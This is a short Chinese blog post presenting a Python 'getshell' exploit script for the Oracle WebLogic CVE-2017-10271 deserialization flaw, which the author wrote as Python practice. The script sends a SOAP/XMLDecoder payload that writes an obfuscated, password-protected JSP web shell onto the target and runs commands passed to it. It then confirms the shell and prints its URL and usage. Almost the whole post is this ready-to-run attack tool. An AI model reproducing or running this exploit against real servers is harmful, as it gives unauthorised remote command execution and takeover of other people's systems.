CVE-2017-10271 windows Getshell脚本

好久没有写python,然后准备要用python来做课设,现在就想认真学习python。正好在Tools看到大神发的exp,就想用Python练习一波。

# coding = utf-8

import requests

import sys


def exp(url):

    header = {

        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

        'Cookie': 'JSESSIONID=nczyhG8NwQ8ypTPHBCBlDwBk26XQD2vSpC4m9hqTvn4Jgy0nrCMJ!1975769378',

        'Connection': 'close',

        'Upgrade-Insecure-Requests': '1',

        'Content-Type': 'text/xml',

        'Content-Length': '2579'}

    payload = '''<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header><work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">

<java>

<java version="1.4.0" class="java.beans.XMLDecoder">

<object class="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>

<void method="println"><string>&#60;&#37;&#10;&#32;&#32;&#32;&#32;&#105;&#102;&#40;&#34;&#112;&#97;&#115;&#115;&#119;&#64;&#114;&#100;&#34;&#46;&#101;&#113;&#117;&#97;&#108;&#115;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#112;&#119;&#100;&#34;&#41;&#41;&#41;&#10;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#32;&#105;&#110;&#61;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#103;&#101;&#116;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#40;&#41;&#46;&#101;&#120;&#101;&#99;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#105;&#34;&#41;&#41;&#46;&#103;&#101;&#116;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#40;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#105;&#110;&#116;&#32;&#97;&#32;&#61;&#32;&#45;&#49;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#98;&#121;&#116;&#101;&#91;&#93;&#32;&#98;&#32;&#61;&#32;&#110;&#101;&#119;&#32;&#98;&#121;&#116;&#101;&#91;&#50;&#48;&#52;&#56;&#93;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#119;&#104;&#105;&#108;&#101;&#40;&#40;&#97;&#61;&#105;&#110;&#46;&#114;&#101;&#97;&#100;&#40;&#98;&#41;&#41;&#33;&#61;&#45;&#49;&#41;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#108;&#110;&#40;&#110;&#101;&#119;&#32;&#83;&#116;&#114;&#105;&#110;&#103;&#40;&#98;&#41;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#47;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#37;&#62;</string></void><void method="close"/>

</object>

</java>

</java>

</work:WorkContext>

</soapenv:Header><soapenv:Body/></soapenv:Envelope>'''

    r = requests.post(url=url+"/wls-wsat/CoordinatorPortType",data=payload,headers=header)

    rr = requests.get(url=url+"/wls-wsat/test.jsp")

    if rr.status_code == 200:

        print "CVE-2017-10271 is Valuble"

        print "shell:%s/wls-wsat/test.jsp"%url

        print "Post:pwd=passw@rd&i=Command"

    else:

        print "Getshell failure!"



if __name__ == '__main__':

    try:

        url = sys.argv[1]

    except:

        print "Usage: wls_Getshell.py https://test/"

        exit()

    exp(url)





2017-12-28  /   

评论